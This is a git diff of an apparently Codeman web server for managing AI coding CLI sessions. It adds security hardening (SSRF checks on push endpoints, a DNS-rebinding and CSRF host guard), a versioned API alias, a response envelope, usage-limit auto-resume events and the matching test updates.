@@ -299,6 +326,8 @@ export const SettingsUpdateSchema = z
|
||||
// Claude CLI settings
|
||||
claudeMode: z.string().max(50).optional(),
|
||||
allowedTools: z.string().max(2000).optional(),
|
||||
// Codex CLI settings
|
||||
codexDangerouslyBypassApprovals: z.boolean().optional(),
|
||||
// CPU priority
|
||||
nice: z
|
||||
.object({
|
||||
@@ -421,6 +450,11 @@ export const AutoCompactSchema = z.object({
|
||||
prompt: z.string().max(10000).optional(),
|
||||
});
|
||||
|
||||
/** POST /api/sessions/:id/auto-resume */
|
||||
export const AutoResumeSchema = z.object({
|
||||
enabled: z.boolean(),
|
||||
});
|
||||
|
||||
/** POST /api/sessions/:id/image-watcher */
|
||||
export const ImageWatcherSchema = z.object({
|
||||
enabled: z.boolean(),
|
||||
@@ -531,7 +565,11 @@ export const RespawnEnableSchema = z.object({
|
||||
|
||||
/** POST /api/push/subscribe */
|
||||
export const PushSubscribeSchema = z.object({
|
||||
endpoint: z.string().url().max(2000),
|
||||
endpoint: z
|
||||
.string()
|
||||
.url()
|
||||
.max(2000)
|
||||
.refine(isSafePushEndpoint, { message: 'endpoint must be an https URL to a public (non-internal) host' }),
|
||||
keys: z.object({
|
||||
p256dh: z.string().min(1).max(500),
|
||||
auth: z.string().min(1).max(500),
|
||||
|
||||
+28
-1
@@ -161,7 +161,9 @@ export function parseGitHubRepo(remoteUrl: string): { owner: string; repo: strin
|
||||
* persist — or null to leave it untouched.
|
||||
*
|
||||
* Rules (see plan "Hardening"):
|
||||
* - Terminal phases → untouched.
|
||||
* - Terminal phases → untouched, EXCEPT `completed-needs-manual-restart`: once we
|
||||
* boot into the staged target version the manual restart evidently happened, so
|
||||
* it flips to `completed` (otherwise the stale instruction lingers in the UI).
|
||||
* - Only the `restarting` marker (written right before the updater triggers our
|
||||
* restart) flips to completed/failed by comparing running version vs. target.
|
||||
* - Other in-flight phases are owned by the still-running updater scope — leave
|
||||
@@ -174,6 +176,17 @@ export function reconcileStatusDecision(
|
||||
now: number
|
||||
): UpdateStatus | null {
|
||||
if (!status) return null;
|
||||
|
||||
// A staged update that asked for a manual restart: if we're now running the
|
||||
// target version, the user (or supervisor) did restart — mark it completed so
|
||||
// the UI stops showing the stale "restart Codeman to apply" instruction.
|
||||
if (status.phase === 'completed-needs-manual-restart') {
|
||||
if (status.toVersion && runningVersion === status.toVersion) {
|
||||
return { ...status, phase: 'completed', message: `Updated to v${runningVersion}`, updatedAt: now };
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
if (!IN_FLIGHT_PHASES.has(status.phase)) return null;
|
||||
|
||||
if (status.phase === 'restarting') {
|
||||
@@ -275,6 +288,16 @@ function detectInstallKind(dir: string): InstallKind {
|
||||
export function detectSupervisor(): SupervisorKind {
|
||||
if (process.platform === 'darwin') {
|
||||
if (existsSync(join(homedir(), 'Library', 'LaunchAgents', `${LAUNCHD_LABEL}.plist`))) return 'launchd';
|
||||
// Headless Macs (no GUI login → no gui domain) run Codeman as a system-level
|
||||
// LaunchDaemon instead. Restarting one needs no root IF it has KeepAlive: the
|
||||
// updater just kills the server and launchd respawns it on the new build. Only
|
||||
// claim this supervisor when the daemon is actually bootstrapped and KeepAlive.
|
||||
const daemonPlist = join('/Library/LaunchDaemons', `${LAUNCHD_LABEL}.plist`);
|
||||
if (existsSync(daemonPlist)) {
|
||||
const loaded = tryExec('launchctl', ['print', `system/${LAUNCHD_LABEL}`]) !== null;
|
||||
const keepAlive = tryExec('plutil', ['-extract', 'KeepAlive', 'raw', '-o', '-', daemonPlist]);
|
||||
if (loaded && keepAlive === 'true') return 'launchd-daemon';
|
||||
}
|
||||
return 'none';
|
||||
}
|
||||
if (process.platform === 'linux') {
|
||||
@@ -535,6 +558,10 @@ export async function startUpdate(): Promise<StartUpdateResult> {
|
||||
process.execPath,
|
||||
'--log',
|
||||
logFile,
|
||||
// For the launchd-daemon restart path: the updater kills this PID and the
|
||||
// KeepAlive daemon respawns the server on the freshly built dist/.
|
||||
'--server-pid',
|
||||
String(process.pid),
|
||||
];
|
||||
if (prevSha) args.push('--prev-sha', prevSha);
|
||||
if (info.dirty) args.push('--stash');
|
||||
|
||||
+126
-32
@@ -42,7 +42,7 @@ import { execSync } from 'node:child_process';
|
||||
import { hostname as getHostname } from 'node:os';
|
||||
import { dataPath } from '../config/instance.js';
|
||||
import { EventEmitter } from 'node:events';
|
||||
import { Session, type BackgroundTask } from '../session.js';
|
||||
import { Session, isExternalCliMode, type BackgroundTask } from '../session.js';
|
||||
import type { ClaudeMode, SessionState } from '../types.js';
|
||||
import { RespawnController, RespawnConfig } from '../respawn-controller.js';
|
||||
import type { TerminalMultiplexer } from '../mux-interface.js';
|
||||
@@ -90,21 +90,41 @@ import { reconcileUpdateOnBoot } from './self-update.js';
|
||||
// Load version from package.json
|
||||
const require = createRequire(import.meta.url);
|
||||
const { version: APP_VERSION } = require('../../package.json');
|
||||
|
||||
/**
|
||||
* `/api/v1/*` is the versioned public alias of the (unversioned) `/api/*` routes.
|
||||
* Rewriting at the server level lets external clients pin to a stable surface while
|
||||
* the bundled frontend keeps using `/api/*`. See docs/api-reference.md.
|
||||
*/
|
||||
function rewriteApiV1Url(url: string): string {
|
||||
if (url === '/api/v1') return '/api';
|
||||
if (url.startsWith('/api/v1/')) return '/api/' + url.slice('/api/v1/'.length);
|
||||
return url;
|
||||
}
|
||||
import {
|
||||
getErrorMessage,
|
||||
httpStatusForErrorCode,
|
||||
createErrorResponse,
|
||||
ApiErrorCode,
|
||||
type PersistedRespawnConfig,
|
||||
type NiceConfig,
|
||||
type ImageDetectedEvent,
|
||||
DEFAULT_NICE_CONFIG,
|
||||
} from '../types.js';
|
||||
import { CleanupManager, KeyedDebouncer, StaleExpirationMap, startEventLoopMonitor } from '../utils/index.js';
|
||||
import {
|
||||
CleanupManager,
|
||||
KeyedDebouncer,
|
||||
StaleExpirationMap,
|
||||
startEventLoopMonitor,
|
||||
isSafePushEndpoint,
|
||||
} from '../utils/index.js';
|
||||
import type { EventLoopMonitorHandle } from '../utils/index.js';
|
||||
import { MAX_CONCURRENT_SESSIONS, MAX_SSE_CLIENTS } from '../config/map-limits.js';
|
||||
import { SseEvent } from './sse-events.js';
|
||||
import type { ScheduledRun } from './ports/index.js';
|
||||
import { registerAuthMiddleware, registerSecurityHeaders } from './middleware/auth.js';
|
||||
import { registerAuthMiddleware, registerSecurityHeaders, registerHostGuard } from './middleware/auth.js';
|
||||
import { installRouteErrorHandler } from './route-error-handler.js';
|
||||
import { isExplicitlyEnabled, isLoopbackBindHost } from './network-auth-policy.js';
|
||||
import { isExplicitlyEnabled, isLoopbackBindHost, buildHostPolicy, type HostPolicy } from './network-auth-policy.js';
|
||||
import {
|
||||
registerPushRoutes,
|
||||
registerTeamRoutes,
|
||||
@@ -268,11 +288,12 @@ export class WebServer extends EventEmitter {
|
||||
this.windowTitle = `codeman:${this.titleHostname}`;
|
||||
this.indexHtmlTemplate = readFileSync(join(__dirname, 'public', 'index.html'), 'utf-8');
|
||||
|
||||
const rewriteUrl = (req: { url?: string }): string => rewriteApiV1Url(req.url || '');
|
||||
if (https) {
|
||||
const { key, cert } = getOrCreateSelfSignedCert();
|
||||
this.app = Fastify({ logger: false, https: { key, cert } });
|
||||
this.app = Fastify({ logger: false, https: { key, cert }, rewriteUrl });
|
||||
} else {
|
||||
this.app = Fastify({ logger: false });
|
||||
this.app = Fastify({ logger: false, rewriteUrl });
|
||||
}
|
||||
this.mux = createMultiplexer();
|
||||
this.sse = new SseStreamManager(
|
||||
@@ -531,6 +552,14 @@ export class WebServer extends EventEmitter {
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Current Host/Origin allowlist policy. Read per request so a tunnel started at
|
||||
* runtime (PUT /api/settings) is reflected without a restart.
|
||||
*/
|
||||
private getHostPolicy(): HostPolicy {
|
||||
return buildHostPolicy(this.host, this.tunnelManager.getUrl());
|
||||
}
|
||||
|
||||
private async setupRoutes(): Promise<void> {
|
||||
// multipart/form-data: parser is provided by @fastify/multipart (registered
|
||||
// below). Its parser is a no-op marker that leaves the body on req.raw, so
|
||||
@@ -547,6 +576,32 @@ export class WebServer extends EventEmitter {
|
||||
// Cookie plugin (needed for auth session tokens)
|
||||
await this.app.register(fastifyCookie);
|
||||
|
||||
// Uniform response envelope (stable HTTP contract — docs/api-reference.md):
|
||||
// wrap bare JSON payloads as { success:true, data } and map { success:false }
|
||||
// error envelopes to a conventional HTTP status (instead of 200). Skips
|
||||
// non-JSON responses (buffers/streams) and non-/api routes.
|
||||
this.app.addHook('preSerialization', (req, reply, payload: unknown, done) => {
|
||||
if (!req.url.startsWith('/api')) return done(null, payload);
|
||||
if (payload === null || typeof payload !== 'object') return done(null, payload);
|
||||
if (Buffer.isBuffer(payload) || typeof (payload as { pipe?: unknown }).pipe === 'function') {
|
||||
return done(null, payload);
|
||||
}
|
||||
const p = payload as { success?: unknown; errorCode?: unknown };
|
||||
if (p.success === false) {
|
||||
if (reply.statusCode === 200 && typeof p.errorCode === 'string') {
|
||||
reply.code(httpStatusForErrorCode(p.errorCode as ApiErrorCode));
|
||||
}
|
||||
return done(null, payload);
|
||||
}
|
||||
if (p.success === true) return done(null, payload);
|
||||
return done(null, { success: true, data: payload });
|
||||
});
|
||||
|
||||
// Anti-DNS-rebinding Host allowlist + cross-site (CSRF) Origin guard. Registered
|
||||
// before auth so forged cross-site / rebound requests are rejected up front, even
|
||||
// on the default no-password install. See docs/reports/security-review-2026-06-09.md.
|
||||
registerHostGuard(this.app, () => this.getHostPolicy());
|
||||
|
||||
// Auth middleware (Basic Auth + session cookies + rate limiting)
|
||||
const authState = registerAuthMiddleware(this.app, this.https);
|
||||
if (authState) {
|
||||
@@ -684,7 +739,7 @@ export class WebServer extends EventEmitter {
|
||||
this.app.post('/api/events/subscribe', (req, reply) => {
|
||||
const body = (req.body || {}) as { clientId?: string; sessions?: string[] | null };
|
||||
if (typeof body.clientId !== 'string' || !SSE_CLIENT_ID_RE.test(body.clientId)) {
|
||||
reply.code(400).send({ error: 'clientId required' });
|
||||
reply.code(400).send(createErrorResponse(ApiErrorCode.INVALID_INPUT, 'clientId required'));
|
||||
return;
|
||||
}
|
||||
const sessions = Array.isArray(body.sessions)
|
||||
@@ -698,24 +753,40 @@ export class WebServer extends EventEmitter {
|
||||
// parseBody. Shared with the route test harness so test behavior matches prod.
|
||||
installRouteErrorHandler(this.app);
|
||||
|
||||
// Crash diagnostics beacon — frontend POSTs breadcrumbs, GET to read them
|
||||
// Stable-contract 404 for unknown /api routes — without this, Fastify's
|
||||
// default not-found payload {message,error,statusCode} would be wrapped by
|
||||
// the envelope hook into a contradictory HTTP 404 {success:true,...}.
|
||||
this.app.setNotFoundHandler((req, reply) => {
|
||||
const notFound = `Route ${req.method}:${req.url} not found`;
|
||||
if (req.url.startsWith('/api')) {
|
||||
reply.code(404).send(createErrorResponse(ApiErrorCode.NOT_FOUND, notFound));
|
||||
return;
|
||||
}
|
||||
reply.code(404).send({ message: notFound, error: 'Not Found', statusCode: 404 });
|
||||
});
|
||||
|
||||
// Crash diagnostics beacon — frontend POSTs breadcrumbs, GET to read them.
|
||||
// text/plain is used ONLY by this beacon (navigator.sendBeacon sends text/plain).
|
||||
// Keep the body as a RAW STRING and parse it inside the handler — a global
|
||||
// text/plain -> JSON parser would let a cross-site "simple request" (no CORS
|
||||
// preflight) submit JSON to any route. See security review C2.
|
||||
let _crashBreadcrumbs = '';
|
||||
this.app.addContentTypeParser('text/plain;charset=UTF-8', { parseAs: 'string' }, (_req, body, done) => {
|
||||
try {
|
||||
done(null, JSON.parse(body as string));
|
||||
} catch {
|
||||
done(null, { data: body });
|
||||
}
|
||||
done(null, body);
|
||||
});
|
||||
this.app.addContentTypeParser('text/plain', { parseAs: 'string' }, (_req, body, done) => {
|
||||
try {
|
||||
done(null, JSON.parse(body as string));
|
||||
} catch {
|
||||
done(null, { data: body });
|
||||
}
|
||||
done(null, body);
|
||||
});
|
||||
this.app.post('/api/crash-diag', (req, reply) => {
|
||||
_crashBreadcrumbs = String((req.body as { data?: string })?.data || '');
|
||||
const raw = typeof req.body === 'string' ? req.body : '';
|
||||
let data = raw;
|
||||
try {
|
||||
const parsed = JSON.parse(raw) as { data?: unknown };
|
||||
if (parsed && typeof parsed.data === 'string') data = parsed.data;
|
||||
} catch {
|
||||
/* not JSON — treat the raw beacon text as the breadcrumbs */
|
||||
}
|
||||
_crashBreadcrumbs = String(data || '');
|
||||
reply.code(204).send();
|
||||
});
|
||||
this.app.get('/api/crash-diag', (_req, reply) => {
|
||||
@@ -738,7 +809,7 @@ export class WebServer extends EventEmitter {
|
||||
registerPlanRoutes(this.app, ctx);
|
||||
registerClipboardRoutes(this.app, ctx);
|
||||
registerOrchestratorRoutes(this.app, ctx);
|
||||
registerWsRoutes(this.app, ctx);
|
||||
registerWsRoutes(this.app, ctx, () => this.getHostPolicy());
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -1118,8 +1189,8 @@ export class WebServer extends EventEmitter {
|
||||
this.runSummaryTrackers.set(session.id, summaryTracker);
|
||||
summaryTracker.recordSessionStarted(session.mode, session.workingDir);
|
||||
|
||||
// Set working directory for Ralph tracker to auto-load @fix_plan.md (not supported for opencode sessions)
|
||||
if (session.mode !== 'opencode') {
|
||||
// Set working directory for Ralph tracker to auto-load @fix_plan.md (not supported for external CLIs)
|
||||
if (!isExternalCliMode(session.mode)) {
|
||||
session.ralphTracker.setWorkingDir(session.workingDir);
|
||||
}
|
||||
|
||||
@@ -1622,6 +1693,14 @@ export class WebServer extends EventEmitter {
|
||||
// Check per-subscription preferences
|
||||
if (sub.pushPreferences[event] === false) continue;
|
||||
|
||||
// Re-validate the stored endpoint before fetching it server-side (SSRF, M7).
|
||||
// Defense-in-depth: subscribe-time validation already rejects unsafe URLs.
|
||||
if (!isSafePushEndpoint(sub.endpoint)) {
|
||||
console.warn('[push] skipping notification to unsafe endpoint:', sub.endpoint);
|
||||
this.pushStore.removeByEndpoint(sub.endpoint);
|
||||
continue;
|
||||
}
|
||||
|
||||
const pushSub = {
|
||||
endpoint: sub.endpoint,
|
||||
keys: sub.keys,
|
||||
@@ -1699,6 +1778,15 @@ export class WebServer extends EventEmitter {
|
||||
const displayHost = this.host === '0.0.0.0' ? 'localhost' : this.host;
|
||||
console.log(`Codeman web interface running at ${protocol}://${displayHost}:${this.port}`);
|
||||
|
||||
// Anti-DNS-rebinding Host allowlist is always on. Localhost, any bare IP, the
|
||||
// bind host, *.ts.net / *.trycloudflare.com / *.cfargotunnel.com, and the active
|
||||
// managed tunnel are accepted automatically; add any other domain you front this
|
||||
// with (e.g. a custom reverse-proxy host) via CODEMAN_ALLOWED_HOSTS=host1,.suffix.
|
||||
const extraAllowed = (process.env.CODEMAN_ALLOWED_HOSTS || '').trim();
|
||||
if (extraAllowed) {
|
||||
console.log(` Host allowlist also accepts: ${extraAllowed}`);
|
||||
}
|
||||
|
||||
// Codeman binds loopback (127.0.0.1) by default, which is safe out of the box.
|
||||
// If the user opts into a non-loopback bind (e.g. --host 0.0.0.0) WITHOUT a
|
||||
// password we no longer refuse to start — that surprised people whose setups
|
||||
@@ -1905,6 +1993,12 @@ export class WebServer extends EventEmitter {
|
||||
if (savedState.autoClearEnabled !== undefined || savedState.autoClearThreshold !== undefined) {
|
||||
session.setAutoClear(savedState.autoClearEnabled ?? false, savedState.autoClearThreshold);
|
||||
}
|
||||
// Auto-resume on usage limit (re-arms a pending schedule; an
|
||||
// overdue one fires shortly after boot — the limit footer won't
|
||||
// reprint on its own, so the pause would otherwise stall)
|
||||
if (savedState.autoResumeEnabled) {
|
||||
session.restoreAutoResume(true, savedState.autoResumeAt);
|
||||
}
|
||||
// Token tracking
|
||||
if (
|
||||
savedState.inputTokens !== undefined ||
|
||||
@@ -1928,8 +2022,8 @@ export class WebServer extends EventEmitter {
|
||||
);
|
||||
}
|
||||
}
|
||||
// Ralph / Todo tracker (not supported for opencode sessions)
|
||||
if (session.mode !== 'opencode') {
|
||||
// Ralph / Todo tracker (not supported for external-CLI sessions)
|
||||
if (!isExternalCliMode(session.mode)) {
|
||||
if (savedState.ralphAutoEnableDisabled) {
|
||||
session.ralphTracker.disableAutoEnable();
|
||||
console.log(`[Server] Restored Ralph auto-enable disabled for session ${session.id}`);
|
||||
@@ -1958,8 +2052,8 @@ export class WebServer extends EventEmitter {
|
||||
if (savedState.flickerFilterEnabled !== undefined) {
|
||||
session.flickerFilterEnabled = savedState.flickerFilterEnabled;
|
||||
}
|
||||
// Respawn controller (not supported for opencode sessions)
|
||||
if (session.mode !== 'opencode' && savedState.respawnEnabled && savedState.respawnConfig) {
|
||||
// Respawn controller (not supported for external-CLI sessions)
|
||||
if (!isExternalCliMode(session.mode) && savedState.respawnEnabled && savedState.respawnConfig) {
|
||||
try {
|
||||
this.restoreRespawnController(session, savedState.respawnConfig, 'state.json');
|
||||
} catch (err) {
|
||||
@@ -1968,9 +2062,9 @@ export class WebServer extends EventEmitter {
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: restore respawn from mux-sessions.json if state.json didn't have it (not supported for opencode)
|
||||
// Fallback: restore respawn from mux-sessions.json if state.json didn't have it (not supported for external CLIs)
|
||||
if (
|
||||
session.mode !== 'opencode' &&
|
||||
!isExternalCliMode(session.mode) &&
|
||||
!this.respawnControllers.has(session.id) &&
|
||||
muxSession.respawnConfig?.enabled
|
||||
) {
|
||||
@@ -1985,9 +2079,9 @@ export class WebServer extends EventEmitter {
|
||||
}
|
||||
|
||||
// Fallback: restore Ralph state from state-inner.json if not already set and not explicitly disabled
|
||||
// Ralph tracker is not supported for opencode sessions
|
||||
// Ralph tracker is not supported for external-CLI sessions
|
||||
if (
|
||||
session.mode !== 'opencode' &&
|
||||
!isExternalCliMode(session.mode) &&
|
||||
!session.ralphTracker.enabled &&
|
||||
!session.ralphTracker.autoEnableDisabled
|
||||
) {
|
||||
@@ -1998,9 +2092,9 @@ export class WebServer extends EventEmitter {
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: auto-detect completion phrase from CLAUDE.md (not supported for opencode)
|
||||
// Fallback: auto-detect completion phrase from CLAUDE.md (not supported for external CLIs)
|
||||
if (
|
||||
session.mode !== 'opencode' &&
|
||||
!isExternalCliMode(session.mode) &&
|
||||
session.ralphTracker.enabled &&
|
||||
!session.ralphTracker.loopState.completionPhrase
|
||||
) {
|
||||
|
||||
@@ -45,6 +45,9 @@ export interface SessionListenerRefs {
|
||||
taskFailed: (task: BackgroundTask, error: string) => void;
|
||||
autoClear: (data: { tokens: number; threshold: number }) => void;
|
||||
autoCompact: (data: { tokens: number; threshold: number; prompt?: string }) => void;
|
||||
limitPauseScheduled: (data: { resetAt: number; resumeAt: number; matched: string }) => void;
|
||||
limitResume: (data: { attempt: number }) => void;
|
||||
limitResumeCancelled: (data: { reason: string }) => void;
|
||||
cliInfoUpdated: (data: { version?: string; model?: string; accountType?: string; latestVersion?: string }) => void;
|
||||
ralphLoopUpdate: (state: RalphTrackerState) => void;
|
||||
ralphTodoUpdate: (todos: RalphTodoItem[]) => void;
|
||||
@@ -243,6 +246,28 @@ export function createSessionListeners(session: Session, deps: SessionListenerDe
|
||||
if (tracker) tracker.recordAutoCompact(data.tokens, data.threshold);
|
||||
},
|
||||
|
||||
/** Broadcasts `session:limitPauseScheduled` — usage-limit pause detected, auto-resume armed.
|
||||
* Persisted so a pending schedule survives a Codeman restart. */
|
||||
limitPauseScheduled: (data: { resetAt: number; resumeAt: number; matched: string }) => {
|
||||
deps.broadcast(SseEvent.SessionLimitPauseScheduled, { sessionId: session.id, ...data });
|
||||
deps.broadcastSessionStateDebounced(session.id);
|
||||
deps.persistSessionState(session);
|
||||
},
|
||||
|
||||
/** Broadcasts `session:limitResume` — auto-resume prompt sent after limit reset */
|
||||
limitResume: (data: { attempt: number }) => {
|
||||
deps.broadcast(SseEvent.SessionLimitResume, { sessionId: session.id, ...data });
|
||||
deps.broadcastSessionStateDebounced(session.id);
|
||||
deps.persistSessionState(session);
|
||||
},
|
||||
|
||||
/** Broadcasts `session:limitResumeCancelled` — pending auto-resume no longer needed */
|
||||
limitResumeCancelled: (data: { reason: string }) => {
|
||||
deps.broadcast(SseEvent.SessionLimitResumeCancelled, { sessionId: session.id, ...data });
|
||||
deps.broadcastSessionStateDebounced(session.id);
|
||||
deps.persistSessionState(session);
|
||||
},
|
||||
|
||||
// ─── CLI Info ────────────────────────────────────────────
|
||||
|
||||
/** Broadcasts `session:cliInfo` — Claude Code version, model, account type parsed from terminal */
|
||||
@@ -350,6 +375,9 @@ export function attachSessionListeners(session: Session, refs: SessionListenerRe
|
||||
session.on('taskFailed', refs.taskFailed);
|
||||
session.on('autoClear', refs.autoClear);
|
||||
session.on('autoCompact', refs.autoCompact);
|
||||
session.on('limitPauseScheduled', refs.limitPauseScheduled);
|
||||
session.on('limitResume', refs.limitResume);
|
||||
session.on('limitResumeCancelled', refs.limitResumeCancelled);
|
||||
session.on('cliInfoUpdated', refs.cliInfoUpdated);
|
||||
session.on('ralphLoopUpdate', refs.ralphLoopUpdate);
|
||||
session.on('ralphTodoUpdate', refs.ralphTodoUpdate);
|
||||
@@ -379,6 +407,9 @@ export function detachSessionListeners(session: Session, refs: SessionListenerRe
|
||||
session.off('taskFailed', refs.taskFailed);
|
||||
session.off('autoClear', refs.autoClear);
|
||||
session.off('autoCompact', refs.autoCompact);
|
||||
session.off('limitPauseScheduled', refs.limitPauseScheduled);
|
||||
session.off('limitResume', refs.limitResume);
|
||||
session.off('limitResumeCancelled', refs.limitResumeCancelled);
|
||||
session.off('cliInfoUpdated', refs.cliInfoUpdated);
|
||||
session.off('ralphLoopUpdate', refs.ralphLoopUpdate);
|
||||
session.off('ralphTodoUpdate', refs.ralphTodoUpdate);
|
||||
|
||||
@@ -73,6 +73,12 @@ export const SessionWorking = 'session:working' as const;
|
||||
export const SessionAutoClear = 'session:autoClear' as const;
|
||||
/** Auto-compact triggered for the session. */
|
||||
export const SessionAutoCompact = 'session:autoCompact' as const;
|
||||
/** Usage-limit pause detected; auto-resume scheduled. */
|
||||
export const SessionLimitPauseScheduled = 'session:limitPauseScheduled' as const;
|
||||
/** Auto-resume prompt sent after a usage-limit reset. */
|
||||
export const SessionLimitResume = 'session:limitResume' as const;
|
||||
/** Pending usage-limit auto-resume cancelled (session resumed or feature disabled). */
|
||||
export const SessionLimitResumeCancelled = 'session:limitResumeCancelled' as const;
|
||||
/** CLI version/model info detected from session output. */
|
||||
export const SessionCliInfo = 'session:cliInfo' as const;
|
||||
/** General session message (e.g. status text). */
|
||||
@@ -361,6 +367,9 @@ export const SseEvent = {
|
||||
SessionWorking,
|
||||
SessionAutoClear,
|
||||
SessionAutoCompact,
|
||||
SessionLimitPauseScheduled,
|
||||
SessionLimitResume,
|
||||
SessionLimitResumeCancelled,
|
||||
SessionCliInfo,
|
||||
SessionMessage,
|
||||
SessionInteractive,
|
||||
|
||||
@@ -5,11 +5,7 @@
|
||||
*/
|
||||
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import {
|
||||
ApiErrorCode,
|
||||
createErrorResponse,
|
||||
createSuccessResponse,
|
||||
} from '../src/types.js';
|
||||
import { ApiErrorCode, createErrorResponse } from '../src/types.js';
|
||||
|
||||
describe('API Response Structures', () => {
|
||||
describe('SessionState Structure', () => {
|
||||
@@ -480,34 +476,9 @@ describe('API Response Structures', () => {
|
||||
});
|
||||
|
||||
describe('Response Validation', () => {
|
||||
describe('SessionResponse', () => {
|
||||
it('should have success property', () => {
|
||||
const response = createSuccessResponse({ id: 'session-1' });
|
||||
expect(response).toHaveProperty('success');
|
||||
expect(response.success).toBe(true);
|
||||
});
|
||||
|
||||
it('should have data property on success', () => {
|
||||
const response = createSuccessResponse({ id: 'session-1', status: 'idle' });
|
||||
expect(response).toHaveProperty('data');
|
||||
expect(response.data?.id).toBe('session-1');
|
||||
});
|
||||
});
|
||||
|
||||
describe('QuickStartResponse', () => {
|
||||
it('should include session and case info on success', () => {
|
||||
const response = createSuccessResponse({
|
||||
sessionId: 'session-1',
|
||||
casePath: '/path/to/case',
|
||||
caseName: 'test-case',
|
||||
});
|
||||
|
||||
expect(response.success).toBe(true);
|
||||
expect(response.data?.sessionId).toBeDefined();
|
||||
expect(response.data?.casePath).toBeDefined();
|
||||
expect(response.data?.caseName).toBeDefined();
|
||||
});
|
||||
});
|
||||
// (SessionResponse / QuickStartResponse success-envelope tests removed — the
|
||||
// createSuccessResponse helper they exercised no longer exists. Error-envelope
|
||||
// coverage remains below.)
|
||||
|
||||
describe('Error Responses', () => {
|
||||
it('should include error code', () => {
|
||||
|
||||
+30
-28
@@ -41,14 +41,14 @@ describe('Edge Cases and Error Handling', () => {
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.success).toBe(false);
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
|
||||
it('should handle getting non-existent session gracefully', async () => {
|
||||
const response = await fetch(`${baseUrl}/api/sessions/non-existent-id-12345`);
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
|
||||
it('should handle running prompt on non-existent session', async () => {
|
||||
@@ -59,7 +59,7 @@ describe('Edge Cases and Error Handling', () => {
|
||||
});
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
|
||||
it('should handle input to non-existent session', async () => {
|
||||
@@ -70,7 +70,7 @@ describe('Edge Cases and Error Handling', () => {
|
||||
});
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
|
||||
it('should handle resize on non-existent session', async () => {
|
||||
@@ -81,7 +81,7 @@ describe('Edge Cases and Error Handling', () => {
|
||||
});
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
|
||||
it('should handle interactive mode on non-existent session', async () => {
|
||||
@@ -90,21 +90,21 @@ describe('Edge Cases and Error Handling', () => {
|
||||
});
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
|
||||
it('should handle terminal buffer request on non-existent session', async () => {
|
||||
const response = await fetch(`${baseUrl}/api/sessions/non-existent/terminal`);
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
|
||||
it('should handle output request on non-existent session', async () => {
|
||||
const response = await fetch(`${baseUrl}/api/sessions/non-existent/output`);
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -190,7 +190,7 @@ describe('Edge Cases and Error Handling', () => {
|
||||
|
||||
// Should succeed with valid characters, even if long
|
||||
if (data.success) {
|
||||
createdCases.push(longName);
|
||||
createdCases.push(data.data.caseName);
|
||||
}
|
||||
// Either succeeds or fails gracefully
|
||||
expect(data).toHaveProperty('success');
|
||||
@@ -202,8 +202,8 @@ describe('Edge Cases and Error Handling', () => {
|
||||
const response = await fetch(`${baseUrl}/api/sessions/non-existent/respawn`);
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.enabled).toBe(false);
|
||||
expect(data.status).toBeNull();
|
||||
expect(data.data.enabled).toBe(false);
|
||||
expect(data.data.status).toBeNull();
|
||||
});
|
||||
|
||||
it('should handle starting respawn on non-existent session', async () => {
|
||||
@@ -212,7 +212,7 @@ describe('Edge Cases and Error Handling', () => {
|
||||
});
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
|
||||
it('should handle stopping non-existent respawn controller', async () => {
|
||||
@@ -232,7 +232,7 @@ describe('Edge Cases and Error Handling', () => {
|
||||
});
|
||||
const data = await response.json();
|
||||
|
||||
expect(data.error).toBe('Session not found');
|
||||
expect(data.error).toContain('not found');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -272,30 +272,32 @@ describe('Concurrent Session Handling', () => {
|
||||
|
||||
it('should handle multiple sessions simultaneously', async () => {
|
||||
// Create multiple sessions concurrently
|
||||
const createPromises = Array(5).fill(null).map(() =>
|
||||
fetch(`${baseUrl}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ workingDir: '/tmp' }),
|
||||
}).then(r => r.json())
|
||||
);
|
||||
const createPromises = Array(5)
|
||||
.fill(null)
|
||||
.map(() =>
|
||||
fetch(`${baseUrl}/api/sessions`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ workingDir: '/tmp' }),
|
||||
}).then((r) => r.json())
|
||||
);
|
||||
|
||||
const results = await Promise.all(createPromises);
|
||||
|
||||
// All should succeed
|
||||
for (const result of results) {
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.session.id).toBeDefined();
|
||||
expect(result.data.session.id).toBeDefined();
|
||||
}
|
||||
|
||||
// Verify sessions are listed
|
||||
const listRes = await fetch(`${baseUrl}/api/sessions`);
|
||||
const sessions = await listRes.json();
|
||||
expect(sessions.length).toBeGreaterThanOrEqual(5);
|
||||
expect(sessions.data.length).toBeGreaterThanOrEqual(5);
|
||||
|
||||
// Clean up - delete all created sessions
|
||||
for (const result of results) {
|
||||
await fetch(`${baseUrl}/api/sessions/${result.session.id}`, {
|
||||
